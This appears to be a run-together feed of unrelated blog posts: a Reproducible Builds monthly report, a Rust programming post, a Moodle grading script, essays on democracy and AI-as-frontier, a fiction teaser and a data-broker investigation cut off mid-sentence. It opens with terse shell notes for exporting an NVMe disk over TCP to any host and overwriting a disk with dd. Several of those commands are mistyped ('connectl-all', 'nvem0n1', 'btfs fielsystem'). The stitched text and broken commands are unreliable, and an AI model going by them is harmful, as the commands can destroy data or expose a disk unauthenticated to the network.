modprobe nvmet-tcp
cd /sys/kernel/config/nvmet
mkdir ports/0
cd ports/0
echo "ipv4" > addr_adrfam
echo 0.0.0.0 > addr_traaddr
echo 4420 > addr_trsvcid
echo tcp > addr_trtype

cd /sys/kernel/config/nvmet/subsystems
mkdir testnqn
echo 1 >testnqn/allow_any_host
mkdir testnqn/namespaces/1

cd testnqn
# replace the device name with the disk you want to export
echo "/dev/nvme0n1" > namespaces/1/device_path
echo 1 > namespaces/1/enable

ln -s "../../subsystems/testnqn" /sys/kernel/config/nvmet/ports/0/subsystems/testnqn

nvme discover -t tcp -a <ip> -s 4420
nvme connectl-all -t tcp -a <> -s 4420

dd if=/dev/nvme2n1 of=/dev/nvme0n1 status=progress bs=40M

growpart /dev/nvem0n1 p2

cryptsetup luksOpen /dev/nvme0n1p2 ENC
cryptsetup resize ENC

btfs fielsystem resize max /

Author: Aspen Greenwood In a world gasping under the heavy cloak of pollution, the Catalogers—scientists driven by a mission—trekked through dwindling patches of green. Among them, Maya, whose spirit yearned for the vibrant Earth imprisoned in old, faded textbooks, delved into her work with a quiet, burning intensity. Each day, Maya and her team, respirators […]

The post Sowing Seeds in Digital Soil appeared first on 365tomorrows.

We're about to dive into AI (what else?) But first off, a little news from entertainment and philosophy ... and where both venn-overlap with myth. 

Here's a link to a recording of the first public performance of my play “The Escape,” on November 7 at Caltech. A 'reading' but fully dramatized, well-acted and directed by Joanne Doyle. The recording is of middling quality, but shows great audience reactions. Come have some good, impudently theological fun!  

(Note, for copyright reasons the video omits background music after scene 2 (The Stones “Sympathy for the Devil;”) and at the end, when you see the audience cheering silently during “You Gotta Have Heart!” the great song from Damn Yankees, that's related to the theme of the play. 

Pity! Still, folks liked it. And I think you’ll laugh a few times… or go “Huh!”)

== A world of analog… ==

Welcome to the February 2024 report from the Reproducible Builds project! In our reports, we try to outline what we have been up to over the past month as well as mentioning some of the important things happening in software supply-chain security.

Reproducible Builds at FOSDEM 2024

Core Reproducible Builds developer Holger Levsen presented at the main track at FOSDEM on Saturday 3rd February this year in Brussels, Belgium. However, that wasn’t the only talk related to Reproducible Builds.

However, please see our comprehensive FOSDEM 2024 news post for the full details and links.

Maintainer Perspectives on Open Source Software Security

Bernhard M. Wiedemann spotted that a recent report entitled Maintainer Perspectives on Open Source Software Security written by Stephen Hendrick and Ashwin Ramaswami of the Linux Foundation sports an infographic which mentions that “56% of [polled] projects support reproducible builds”.

Three new reproducibility-related academic papers

A total of three separate scholarly papers related to Reproducible Builds have appeared this month:

Signing in Four Public Software Package Registries: Quantity, Quality, and Influencing Factors by Taylor R. Schorlemmer, Kelechi G. Kalu, Luke Chigges, Kyung Myung Ko, Eman Abdul-Muhd, Abu Ishgair, Saurabh Bagchi, Santiago Torres-Arias and James C. Davis (Purdue University, Indiana, USA) is concerned with the problem that:

Package maintainers can guarantee package authorship through software signing [but] it is unclear how common this practice is, and whether the resulting signatures are created properly. Prior work has provided raw data on signing practices, but measured single platforms, did not consider time, and did not provide insight on factors that may influence signing. We lack a comprehensive, multi-platform understanding of signing adoption and relevant factors. This study addresses this gap. (arXiv, full PDF)

Reproducibility of Build Environments through Space and Time by Julien Malka, Stefano Zacchiroli and Théo Zimmermann (Institut Polytechnique de Paris, France) addresses:

[The] principle of reusability […] makes it harder to reproduce projects’ build environments, even though reproducibility of build environments is essential for collaboration, maintenance and component lifetime. In this work, we argue that functional package managers provide the tooling to make build environments reproducible in space and time, and we produce a preliminary evaluation to justify this claim.

The abstract continues with the claim that “Using historical data, we show that we are able to reproduce build environments of about 7 million Nix packages, and to rebuild 99.94% of the 14 thousand packages from a 6-year-old Nixpkgs revision. (arXiv, full PDF)

Options Matter: Documenting and Fixing Non-Reproducible Builds in Highly-Configurable Systems by Georges Aaron Randrianaina, Djamel Eddine Khelladi, Olivier Zendra and Mathieu Acher (Inria centre at Rennes University, France):

This paper thus proposes an approach to automatically identify configuration options causing non-reproducibility of builds. It begins by building a set of builds in order to detect non-reproducible ones through binary comparison. We then develop automated techniques that combine statistical learning with symbolic reasoning to analyze over 20,000 configuration options. Our methods are designed to both detect options causing non-reproducibility, and remedy non-reproducible configurations, two tasks that are challenging and costly to perform manually. (HAL Portal, full PDF)

Mailing list highlights

From our mailing list this month:

• User cen posted a query asking “How to verify a package by rebuilding it locally on Debian” which received a followup from Vagrant Cascadian.

• James Addison asked “Two questions about build-path reproducibility in Debian” regarding the differences in the testing performed by Debian’s GitLab continuous integration (CI) pipeline and the Debian-specific testing performed by the Reproducible Builds project itself, and followed this with a separate but related question regarding misconfigured reprotest configurations.

Distribution work

In Debian this month, 5 reviews of Debian packages were added, 22 were updated and 8 were removed this month adding to Debian’s knowledge about identified issues. A number of issue types were updated as well. […][…][…][…] In addition, Roland Clobus posted his 23rd update of the status of reproducible ISO images on our mailing list. In particular, Roland helpfully summarised that “all major desktops build reproducibly with bullseye, bookworm, trixie and sid provided they are built for a second time within the same DAK run (i.e. [within] 6 hours)” and that there will likely be further work at a MiniDebCamp in Hamburg. Furthermore, Roland also responded in-depth to a query about a previous report

Fedora developer Zbigniew Jędrzejewski-Szmek announced a work-in-progress script called fedora-repro-build that attempts to reproduce an existing package within a koji build environment. Although the projects’ README file lists a number of “fields will always or almost always vary” and there is a non-zero list of other known issues, this is an excellent first step towards full Fedora reproducibility.

Jelle van der Waa introduced a new linter rule for Arch Linux packages in order to detect cache files leftover by the Sphinx documentation generator which are unreproducible by nature and should not be packaged. At the time of writing, 7 packages in the Arch repository are affected by this.

Elsewhere, Bernhard M. Wiedemann posted another monthly update for his work elsewhere in openSUSE.

diffoscope

diffoscope is our in-depth and content-aware diff utility that can locate and diagnose reproducibility issues. This month, Chris Lamb made a number of changes such as uploading versions 256, 257 and 258 to Debian and made the following additional changes:

• Use a deterministic name instead of trusting gpg’s –use-embedded-filenames. Many thanks to Daniel Kahn Gillmor dkg@debian.org for reporting this issue and providing feedback. […][…]
• Don’t error-out with a traceback if we encounter struct.unpack-related errors when parsing Python .pyc files. (#1064973). […]
• Don’t try and compare rdb_expected_diff on non-GNU systems as %p formatting can vary, especially with respect to MacOS. […]
• Fix compatibility with pytest 8.0. […]
• Temporarily fix support for Python 3.11.8. […]
• Use the 7zip package (over p7zip-full) after a Debian package transition. (#1063559). […]
• Bump the minimum Black source code reformatter requirement to 24.1.1+. […]
• Expand an older changelog entry with a CVE reference. […]
• Make test_zip black clean. […]

In addition, James Addison contributed a patch to parse the headers from the diff(1) correctly […][…] — thanks! And lastly, Vagrant Cascadian pushed updates in GNU Guix for diffoscope to version 255, 256, and 258, and updated trydiffoscope to 67.0.6.

reprotest

reprotest is our tool for building the same source code twice in different environments and then checking the binaries produced by each build for any differences. This month, Vagrant Cascadian made a number of changes, including:

• Create a (working) proof of concept for enabling a specific number of CPUs. […][…]
• Consistently use 398 days for time variation rather than choosing randomly and update README.rst to match. […][…]
• Support a new --vary=build_path.path option. […][…][…][…]

Website updates

There were made a number of improvements to our website this month, including:

• Chris Lamb:

  • Improve the relative sizing of headers. […]
  • Re-order and “punch” up the introduction and documentation on the SOURCE_DATE_EPOCH page. […]
  • Update SOURCE_DATE_EPOCH documentation re. datetime.datetime.fromtimestamp. Thanks, James Addison. […]
  • Add a post about Reproducible Builds at FOSDEM 2024. […]

• Holger Levsen:

  • Update the GNU Guix page to include their reproducibility QA page. […]
  • Add Sune Vuorela and Jan-Benedict Glaw to our contributors list. […][…]

• Mattia Rizzolo:

  • Add Sovereign Tech Fund’s logo to our sponsors. […]
  • Update our sponsors list. […]

Reproducibility testing framework

The Reproducible Builds project operates a comprehensive testing framework (available at tests.reproducible-builds.org) in order to check packages and other artifacts for reproducibility. In February, a number of changes were made by Holger Levsen:

• Debian-related changes:

  • Temporarily disable upgrading/bootstrapping Debian unstable and experimental as they are currently broken. […][…]
  • Use the 64-bit amd64 kernel on all i386 nodes; no more 686 PAE kernels. […]
  • Add an Erlang package set. […]

• Other changes:

  • Grant Jan-Benedict Glaw shell access to the Jenkins node. […]
  • Enable debugging for NetBSD reproducibility testing. […]
  • Use /usr/bin/du --apparent-size in the Jenkins shell monitor. […]
  • Revert “reproducible nodes: mark osuosl2 as down”. […]
  • Thanks again to Codethink, for they have doubled the RAM on our arm64 nodes. […]
  • Only set /proc/$pid/oom_score_adj to -1000 if it has not already been done. […]
  • Add the opemwrt-target-tegra and jtx task to the list of zombie jobs. […][…]

Vagrant Cascadian also made the following changes:

• Overhaul the handling of OpenSSH configuration files after updating from Debian bookworm. […][…][…]
• Add two new armhf architecture build nodes, virt32z and virt64z, and insert them into the Munin monitoring. […][…] […][…]

In addition, Alexander Couzens updated the OpenWrt configuration in order to replace the tegra target with mpc85xx […], Jan-Benedict Glaw updated the NetBSD build script to use a separate $TMPDIR to mitigate out of space issues on a tmpfs-backed /tmp […] and Zheng Junjie added a link to the GNU Guix tests […].

Lastly, node maintenance was performed by Holger Levsen […][…][…][…][…][…] and Vagrant Cascadian […][…][…][…].

Upstream patches

The Reproducible Builds project detects, dissects and attempts to fix as many currently-unreproducible packages as possible. We endeavour to send all of our patches upstream where appropriate. This month, we wrote a large number of such patches, including:

• Philip Rinn:

  • gimagereader (date)

• Bernhard M. Wiedemann:

  • grass (date-related issue)
  • grub2 (filesystem ordering issue)
  • latex2html (drop a non-deterministic log)
  • mhvtl (tar)
  • obs (build-tool issue)
  • ollama (GZip embedding the modification time)
  • presenterm (filesystem-ordering issue)
  • qt6-quick3d (parallelism)

• Chris Lamb:

  • #1064506 filed against geophar.
  • #1064891 filed against pytest-repeat.
  • #1064892 filed against klepto.

• James Addison:

  • #1064519 filed against flask-limiter.
  • python-parsl-doc (disable dynamic argument evaluation by Sphinx autodoc extension)
  • python3-pytest-repeat (remove entry_points.txt creation that varied by shell)
  • python3-selinux (remove packaged direct_url.json file that embeds build path)
  • python3-sepolicy (remove packaged direct_url.json file that embeds build path)
  • #1064575 filed against pyswarms.
  • #1064638 filed against python-x2go.
  • snapd (fix timestamp header in packaged manual-page)
  • zzzeeksphinx (existing RB patch forwarded and merged (with modifications))

• Johannes Schauer Marin Rodrigues:

  • #1063939 filed against fop.

If you are interested in contributing to the Reproducible Builds project, please visit our Contribute page on our website. However, you can get in touch with us via:

• IRC: #reproducible-builds on irc.oftc.net.

• Twitter: @ReproBuilds

• Mastodon: @reproducible_builds@fosstodon.org

• Mailing list: rb-general@lists.reproducible-builds.org

After 4? 5? or so years of wanting to learn Rust, over the past 4 or so months I finally bit the bullet and found the motivation to write some Rust. And the subject.

And I was, and still am, thoroughly surprised. It’s like someone took Haskell, simplified it to some extents, and wrote a systems language out of it. Writing Rust after Haskell seems easy, and pleasant, and you:

• don’t have to care about unintended laziness which causes memory “leaksâ€� (stuck memory, more like).
• don’t have to care about GC eating too much of your multi-threaded RTS.
• can be happy that there’s lots of activity and buzz around the language.
• can be happy for generating very small, efficient binaries that feel right at home on Raspberry Pi, especially not the 5.
• are very happy that error handling is done right (Option and Result, not like Go…)

On the other hand:

• there are no actual monads; the ? operator kind-of-looks-like being in do blocks, but only and only for Option and Result, sadly.
• there’s no Stackage, it’s like having only Hackage available, and you can hope all packages work together well.
• most packaging is designed to work only against upstream/online crates.io, so offline packaging is doable but not “nativeâ€� (from what I’ve seen).

However, overall, one can clearly see there’s more movement in Rust, and the quality of some parts of the toolchain is better (looking at you, rust-analyzer, compared to HLS).

So, with that, I’ve just tagged photo-backlog-exporter v0.1.0. It’s a port of a Python script that was run as a textfile collector, which meant updates every ~15 minutes, since it was a bit slow to start, which I then rewrote in Go (but I don’t like Go the language, plus the GC - if I have to deal with a GC, I’d rather write Haskell), then finally rewrote in Rust.

What does this do? It exports metrics for Prometheus based on the count, age and distribution of files in a directory. These files being, for me, the pictures I still have to sort, cull and process, because I never have enough free time to clear out the backlog. The script is kind of designed to work together with Corydalis, but since it doesn’t care about file content, it can also double (easily) as simple “file count/age exporter�.

And to my surprise, writing in Rust is soo pleasant, that the feature list is greater than the original Python script, and - compared to that untested script - I’ve rather easily achieved a very high coverage ratio. Rust has multiple types of tests, and the combination allows getting pretty down to details on testing:

• region coverage: >80%
• function coverage: >89% (so close here!)
• line coverage: >95%

I had to combine a (large) number of testing crates to get it expressive enough, but it was worth the effort. The last find from yesterday, assert_cmd, is excellent to describe testing/assertion in Rust itself, rather than via a separate, new DSL, like I was using shelltest for, in Haskell.

To some extent, I feel like I found the missing arrow in the quiver. Haskell is good, quite very good for some type of workloads, but of course not all, and Rust complements that very nicely, with lots of overlap (as expected). Python can fill in any quick-and-dirty scripting needed. And I just need to learn more frontend, specifically Typescript (the language, not referring to any specific libraries/frameworks), and I’ll be ready for AI to take over coding 😅…

So, for now, I’ll need to split my free time coding between all of the above, and keep exercising my skills. But so glad to have found a good new language!

Author: Janice Cyntje Alfonso stood near the podium of his community center’s conference room and waivered. Although he was grateful that his niece had invited him to speak at this 12-step support group, he was nevertheless cautious of the emotional fallout from airing his life’s dirty laundry. Beads of perspiration trickled down his brows as […]

The post 12 Steps appeared first on 365tomorrows.

My brain is currently suffering from an overload caused by grading student assignments.

In search of a somewhat productive way to procrastinate, I thought I would share a small script I wrote sometime in 2023 to facilitate my grading work.

I use Moodle for all the classes I teach and students use it to hand me out their papers. When I'm ready to grade them, I download the ZIP archive Moodle provides containing all their PDF files and comment them using xournalpp and my Wacom tablet.

Once this is done, I have a directory structure that looks like this:

Assignment FooBar/
├── Student A_21100_assignsubmission_file
│   ├── graded paper.pdf
│   ├── Student A's perfectly named assignment.pdf
│   └── Student A's perfectly named assignment.xopp
├── Student B_21094_assignsubmission_file
│   ├── graded paper.pdf
│   ├── Student B's perfectly named assignment.pdf
│   └── Student B's perfectly named assignment.xopp
├── Student C_21093_assignsubmission_file
│   ├── graded paper.pdf
│   ├── Student C's perfectly named assignment.pdf
│   └── Student C's perfectly named assignment.xopp
⋮

Before I can upload files back to Moodle, this directory needs to be copied (I have to keep the original files), cleaned of everything but the graded paper.pdf files and compressed in a ZIP.

You can see how this can quickly get tedious to do by hand. Not being a complete tool, I often resorted to crafting a few spurious shell one-liners each time I had to do this¹. Eventually I got tired of ctrl-R-ing my shell history and wrote something reusable.

Behold this script! When I began writing this post, I was certain I had cheaped out on my 2021 New Year's resolution and written it in Shell, but glory!, it seems I used a proper scripting language instead.

#!/usr/bin/python3

# Copyright (C) 2023, Louis-Philippe Véronneau <pollo@debian.org>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

"""
This script aims to take a directory containing PDF files exported via the
Moodle mass download function, remove everything but the final files to submit
back to the students and zip it back.

usage: ./moodle-zip.py <target_dir>
"""

import os
import shutil
import sys
import tempfile

from fnmatch import fnmatch


def sanity(directory):
    """Run sanity checks before doing anything else"""
    base_directory = os.path.basename(os.path.normpath(directory))
    if not os.path.isdir(directory):
        sys.exit(f"Target directory {directory} is not a valid directory")
    if os.path.exists(f"/tmp/{base_directory}.zip"):
        sys.exit(f"Final ZIP file path '/tmp/{base_directory}.zip' already exists")
    for root, dirnames, _ in os.walk(directory):
        for dirname in dirnames:
            corrige_present = False
            for file in os.listdir(os.path.join(root, dirname)):
                if fnmatch(file, 'graded paper.pdf'):
                    corrige_present = True
            if corrige_present is False:
                sys.exit(f"Directory {dirname} does not contain a 'graded paper.pdf' file")


def clean(directory):
    """Remove superfluous files, to keep only the graded PDF"""
    with tempfile.TemporaryDirectory() as tmp_dir:
        shutil.copytree(directory, tmp_dir, dirs_exist_ok=True)
        for root, _, filenames in os.walk(tmp_dir):
            for file in filenames:
                if not fnmatch(file, 'graded paper.pdf'):
                    os.remove(os.path.join(root, file))
        compress(tmp_dir, directory)


def compress(directory, target_dir):
    """Compress directory into a ZIP file and save it to the target dir"""
    target_dir = os.path.basename(os.path.normpath(target_dir))
    shutil.make_archive(f"/tmp/{target_dir}", 'zip', directory)
    print(f"Final ZIP file has been saved to '/tmp/{target_dir}.zip'")


def main():
    """Main function"""
    target_dir = sys.argv[1]
    sanity(target_dir)
    clean(target_dir)


if __name__ == "__main__":
    main()

If for some reason you happen to have a similar workflow as I and end up using this script, hit me up?

Now, back to grading...

The Ash Center has posted a series of twelve essays stemming from the Second Interdisciplinary Workshop on Reimagining Democracy (IWORD 2023).

• Aviv Ovadya, Democracy as Approximation: A Primer for “AI for Democracy” Innovators
• Kathryn Peters, Permission and Participation
• Claudia Chwalisz, Moving Beyond the Paradigm of “Democracy”: 12 Questions
• Riley Wong, Privacy-Preserving Data Governance
• Christine Tran, Recommendations for Implementing Jail Voting: Identifying Common Themes
• Niclas Boehmer, The Double-Edged Sword of Algorithmic Governance: Transparency at Stake
• Manon Revel, Can We Talk? An Argument for More Dialogues in Academia
• Aditi Juneja, Ensuring We Have A Democracy in 2076
• Nick Couldry, Resonance, Not Scalability
• Jon Evans, Experimentocracy
• Nathan Schneider, Democracy On, Not Just Around, the Internet
• Eugene Fischer, The Enrichment and Decay of Ionia

We are starting to think about IWORD 2024 this December.

Artificial intelligence (AI) has been billed as the next frontier of humanity: the newly available expanse whose exploration will drive the next era of growth, wealth, and human flourishing. It’s a scary metaphor. Throughout American history, the drive for expansion and the very concept of terrain up for grabs—land grabs, gold rushes, new frontiers—have provided a permission structure for imperialism and exploitation. This could easily hold true for AI.

This isn’t the first time the concept of a frontier has been used as a metaphor for AI, or technology in general. As early as 2018, the powerful foundation models powering cutting-edge applications like chatbots have been called “frontier AI.” In previous decades, the internet itself was considered an electronic frontier. Early cyberspace pioneer John Perry Barlow wrote “Unlike previous frontiers, this one has no end.” When he and others founded the internet’s most important civil liberties organization, they called it the Electronic Frontier Foundation.

America’s experience with frontiers is fraught, to say the least. Expansion into the Western frontier and beyond has been a driving force in our country’s history and identity—and has led to some of the darkest chapters of our past. The tireless drive to conquer the frontier has directly motivated some of this nation’s most extreme episodes of racism, imperialism, violence, and exploitation.

That history has something to teach us about the material consequences we can expect from the promotion of AI today. The race to build the next great AI app is not the same as the California gold rush. But the potential that outsize profits will warp our priorities, values, and morals is, unfortunately, analogous.

Already, AI is starting to look like a colonialist enterprise. AI tools are helping the world’s largest tech companies grow their power and wealth, are spurring nationalistic competition between empires racing to capture new markets, and threaten to supercharge government surveillance and systems of apartheid. It looks more than a bit like the competition among colonialist state and corporate powers in the seventeenth century, which together carved up the globe and its peoples. By considering America’s past experience with frontiers, we can understand what AI may hold for our future, and how to avoid the worst potential outcomes.

America’s “Frontier” Problem

For 130 years, historians have used frontier expansion to explain sweeping movements in American history. Yet only for the past thirty years have we generally acknowledged its disastrous consequences.

Frederick Jackson Turner famously introduced the frontier as a central concept for understanding American history in his vastly influential 1893 essay. As he concisely wrote, “American history has been in a large degree the history of the colonization of the Great West.”

Turner used the frontier to understand all the essential facts of American life: our culture, way of government, national spirit, our position among world powers, even the “struggle” of slavery. The endless opportunity for westward expansion was a beckoning call that shaped the American way of life. Per Turner’s essay, the frontier resulted in the individualistic self-sufficiency of the settler and gave every (white) man the opportunity to attain economic and political standing through hardscrabble pioneering across dangerous terrain.The New Western History movement, gaining steam through the 1980s and led by researchers like Patricia Nelson Limerick, laid plain the racial, gender, and class dynamics that were always inherent to the frontier narrative. This movement’s story is one where frontier expansion was a tool used by the white settler to perpetuate a power advantage.The frontier was not a siren calling out to unwary settlers; it was a justification, used by one group to subjugate another. It was always a convenient, seemingly polite excuse for the powerful to take what they wanted. Turner grappled with some of the negative consequences and contradictions of the frontier ethic and how it shaped American democracy. But many of those whom he influenced did not do this; they celebrated it as a feature, not a bug. Theodore Roosevelt wrote extensively and explicitly about how the frontier and his conception of white supremacy justified expansion to points west and, through the prosecution of the Spanish-American War, far across the Pacific. Woodrow Wilson, too, celebrated the imperial loot from that conflict in 1902. Capitalist systems are “addicted to geographical expansion” and even, when they run out of geography, seek to produce new kinds of spaces to expand into. This is what the geographer David Harvey calls the “spatial fix.”Claiming that AI will be a transformative expanse on par with the Louisiana Purchase or the Pacific frontiers is a bold assertion—but increasingly plausible after a year dominated by ever more impressive demonstrations of generative AI tools. It’s a claim bolstered by billions of dollars in corporate investment, by intense interest of regulators and legislators worldwide in steering how AI is developed and used, and by the variously utopian or apocalyptic prognostications from thought leaders of all sectors trying to understand how AI will shape their sphere—and the entire world.

AI as a Permission Structure

Like the western frontier in the nineteenth century, the maniacal drive to unlock progress via advancement in AI can become a justification for political and economic expansionism and an excuse for racial oppression.

In the modern day, OpenAI famously paid dozens of Kenyans little more than a dollar an hour to process data used in training their models underlying products such as ChatGPT. Paying low wages to data labelers surely can’t be equated to the chattel slavery of nineteenth-century America. But these workers did endure brutal conditions, including being set to constantly review content with “graphic scenes of violence, self-harm, murder, rape, necrophilia, child abuse, bestiality, and incest.” There is a global market for this kind of work, which has been essential to the most important recent advances in AI such as Reinforcement Learning with Human Feedback, heralded as the most important breakthrough of ChatGPT.

The gold rush mentality associated with expansion is taken by the new frontiersmen as permission to break the rules, and to build wealth at the expense of everyone else. In 1840s California, gold miners trespassed on public lands and yet were allowed to stake private claims to the minerals they found, and even to exploit the water rights on those lands. Again today, the game is to push the boundaries on what rule-breaking society will accept, and hope that the legal system can’t keep up.

Many internet companies have behaved in exactly the same way since the dot-com boom. The prospectors of internet wealth lobbied for, or simply took of their own volition, numerous government benefits in their scramble to capture those frontier markets. For years, the Federal Trade Commission has looked the other way or been lackadaisical in halting antitrust abuses by Amazon, Facebook, and Google. Companies like Uber and Airbnb exploited loopholes in, or ignored outright, local laws on taxis and hotels. And Big Tech platforms enjoyed a liability shield that protected them from punishment the contents people posted to their sites.

We can already see this kind of boundary pushing happening with AI.

Modern frontier AI models are trained using data, often copyrighted materials, with untested legal justification. Data is like water for AI, and, like the fight over water rights in the West, we are repeating a familiar process of public acquiescence to private use of resources. While some lawsuits are pending, so far AI companies have faced no significant penalties for the unauthorized use of this data.

Pioneers of self-driving vehicles tried to skip permitting processes and used fake demonstrations of their capabilities to avoid government regulation and entice consumers. Meanwhile, AI companies’ hope is that they won’t be held to blame if the AI tools they produce spew out harmful content that causes damage in the real world. They are trying to use the same liability shield that fostered Big Tech’s exploitation of the previous electronic frontiers—the web and social media—to protect their own actions.

Even where we have concrete rules governing deleterious behavior, some hope that using AI is itself enough to skirt them. Copyright infringement is illegal if a person does it, but would that same person be punished if they train a large language model to regurgitate copyrighted works? In the political sphere, the Federal Election Commission has precious few powers to police political advertising; some wonder if they simply won’t be considered relevant if people break those rules using AI.

AI and American Exceptionalism

Like The United States’ historical frontier, AI has a feel of American exceptionalism. Historically, we believed we were different from the Old World powers of Europe because we enjoyed the manifest destiny of unrestrained expansion between the oceans. Today, we have the most CPU power, the most data scientists, the most venture-capitalist investment, and the most AI companies. This exceptionalism has historically led many Americans to believe they don’t have to play by the same rules as everyone else.

Both historically and in the modern day, this idea has led to deleterious consequences such as militaristic nationalism (leading to justifying of foreign interventions in Iraq and elsewhere), masking of severe inequity within our borders, abdication of responsibility from global treaties on climate and law enforcement, and alienation from the international community. American exceptionalism has also wrought havoc on our country’s engagement with the internet, including lawless spying and surveillance by forces like the National Security Agency.

The same line of thinking could have disastrous consequences if applied to AI. It could perpetuate a nationalistic, Cold War–style narrative about America’s inexorable struggle with China, this time predicated on an AI arms race. Moral exceptionalism justifies why we should be allowed to use tools and weapons that are dangerous in the hands of a competitor, or enemy. It could enable the next stage of growth of the military-industrial complex, with claims of an urgent need to modernize missile systems and drones through using AI. And it could renew a rationalization for violating civil liberties in the US and human rights abroad, empowered by the idea that racial profiling is more objective if enforced by computers.The inaction of Congress on AI regulation threatens to land the US in a regime of de facto American exceptionalism for AI. While the EU is about to pass its comprehensive AI Act, lobbyists in the US have muddled legislative action. While the Biden administration has used its executive authority and federal purchasing power to exert some limited control over AI, the gap left by lack of legislation leaves AI in the US looking like the Wild West—a largely unregulated frontier.The lack of restraint by the US on potentially dangerous AI technologies has a global impact. First, its tech giants let loose their products upon the global public, with the harms that this brings with it. Second, it creates a negative incentive for other jurisdictions to more forcefully regulate AI. The EU’s regulation of high-risk AI use cases begins to look like unilateral disarmament if the US does not take action itself. Why would Europe tie the hands of its tech competitors if the US refuses to do the same?

AI and Unbridled Growth

The fundamental problem with frontiers is that they seem to promise cost-free growth. There was a constant pressure for American westward expansion because a bigger, more populous country accrues more power and wealth to the elites and because, for any individual, a better life was always one more wagon ride away into “empty” terrain. AI presents the same opportunities. No matter what field you’re in or what problem you’re facing, the attractive opportunity of AI as a free labor multiplier probably seems like the solution; or, at least, makes for a good sales pitch.

That would actually be okay, except that the growth isn’t free. America’s imperial expansion displaced, harmed, and subjugated native peoples in the Americas, Africa, and the Pacific, while enlisting poor whites to participate in the scheme against their class interests. Capitalism makes growth look like the solution to all problems, even when it’s clearly not. The problem is that so many costs are externalized. Why pay a living wage to human supervisors training AI models when an outsourced gig worker will do it at a fraction of the cost? Why power data centers with renewable energy when it’s cheaper to surge energy production with fossil fuels? And why fund social protections for wage earners displaced by automation if you don’t have to? The potential of consumer applications of AI, from personal digital assistants to self-driving cars, is irresistible; who wouldn’t want a machine to take on the most routinized and aggravating tasks in your daily life? But the externalized cost for consumers is accepting the inevitability of domination by an elite who will extract every possible profit from AI services.

Controlling Our Frontier Impulses

None of these harms are inevitable. Although the structural incentives of capitalism and its growth remain the same, we can make different choices about how to confront them.

We can strengthen basic democratic protections and market regulations to avoid the worst impacts of AI colonialism. We can require ethical employment for the humans toiling to label data and train AI models. And we can set the bar higher for mitigating bias in training and harm from outputs of AI models.

We don’t have to cede all the power and decision making about AI to private actors. We can create an AI public option to provide an alternative to corporate AI. We can provide universal access to ethically built and democratically governed foundational AI models that any individual—or company—could use and build upon.

More ambitiously, we can choose not to privatize the economic gains of AI. We can cap corporate profits, raise the minimum wage, or redistribute an automation dividend as a universal basic income to let everyone share in the benefits of the AI revolution. And, if these technologies save as much labor as companies say they do, maybe we can also all have some of that time back.

And we don’t have to treat the global AI gold rush as a zero-sum game. We can emphasize international cooperation instead of competition. We can align on shared values with international partners and create a global floor for responsible regulation of AI. And we can ensure that access to AI uplifts developing economies instead of further marginalizing them.

This essay was written with Nathan Sanders, and was originally published in Jacobin.

If you live in the United States, the data broker Radaris likely knows a great deal about you, and they are happy to sell what they know to anyone. But how much do we know about Radaris? Publicly available data indicates that in addition to running a dizzying array of people-search websites, the co-founders of Radaris operate multiple Russian-language dating services and affiliate programs. It also appears many of their businesses have ties to a California marketing firm that works with a Russian state-run media conglomerate currently sanctioned by the U.S. government.

Formed in 2009, Radaris is a vast people-search network for finding data on individuals, properties, phone numbers, businesses and addresses. Search for any American’s name in Google and the chances are excellent that a listing for them at Radaris.com will show up prominently in the results.

Radaris reports typically bundle a substantial amount of data scraped from public and court documents, including any current or previous addresses and phone numbers, known email addresses and registered domain names. The reports also list address and phone records for the target’s known relatives and associates. Such information could be useful if you were trying to determine the maiden name of someone’s mother, or successfully answer a range of other knowledge-based authentication questions.

Currently, consumer reports advertised for sale at Radaris.com are being fulfilled by a different people-search company called TruthFinder. But Radaris also operates a number of other people-search properties — like Centeda.com — that sell consumer reports directly and behave almost identically to TruthFinder: That is, reel the visitor in with promises of detailed background reports on people, and then charge a $34.99 monthly subscription fee just to view the results.

The Better Business Bureau (BBB) assigns Radaris a rating of “F” for consistently ignoring consumers seeking to have their information removed from Radaris’ various online properties. Of the 159 complaints detailed there in the last year, several were from people who had used third-party identity protection services to have their information removed from Radaris, only to receive a notice a few months later that their Radaris record had been restored.

What’s more, Radaris’ automated process for requesting the removal of your information requires signing up for an account, potentially providing more information about yourself that the company didn’t already have (see screenshot above).

Radaris has not responded to requests for comment.

Radaris, TruthFinder and others like them all force users to agree that their reports will not be used to evaluate someone’s eligibility for credit, or a new apartment or job. This language is so prominent in people-search reports because selling reports for those purposes would classify these firms as consumer reporting agencies (CRAs) and expose them to regulations under the Fair Credit Reporting Act (FCRA).

These data brokers do not want to be treated as CRAs, and for this reason their people search reports typically do not include detailed credit histories, financial information, or full Social Security Numbers (Radaris reports include the first six digits of one’s SSN).

But in September 2023, the U.S. Federal Trade Commission found that TruthFinder and another people-search service Instant Checkmate were trying to have it both ways. The FTC levied a $5.8 million penalty against the companies for allegedly acting as CRAs because they assembled and compiled information on consumers into background reports that were marketed and sold for employment and tenant screening purposes.

An excerpt from the FTC’s complaint against TruthFinder and Instant Checkmate.

The FTC also found TruthFinder and Instant Checkmate deceived users about background report accuracy. The FTC alleges these companies made millions from their monthly subscriptions using push notifications and marketing emails that claimed that the subject of a background report had a criminal or arrest record, when the record was merely a traffic ticket.

“All the while, the companies touted the accuracy of their reports in online ads and other promotional materials, claiming that their reports contain “the MOST ACCURATE information available to the public,” the FTC noted. The FTC says, however, that all the information used in their background reports is obtained from third parties that expressly disclaim that the information is accurate, and that TruthFinder and Instant Checkmate take no steps to verify the accuracy of the information.

The FTC said both companies deceived customers by providing “Remove” and “Flag as Inaccurate” buttons that did not work as advertised. Rather, the “Remove” button removed the disputed information only from the report as displayed to that customer; however, the same item of information remained visible to other customers who searched for the same person.

The FTC also said that when a customer flagged an item in the background report as inaccurate, the companies never took any steps to investigate those claims, to modify the reports, or to flag to other customers that the information had been disputed.

WHO IS RADARIS?

According to Radaris’ profile at the investor website Pitchbook.com, the company’s founder and “co-chief executive officer” is a Massachusetts resident named Gary Norden, also known as Gary Nard.

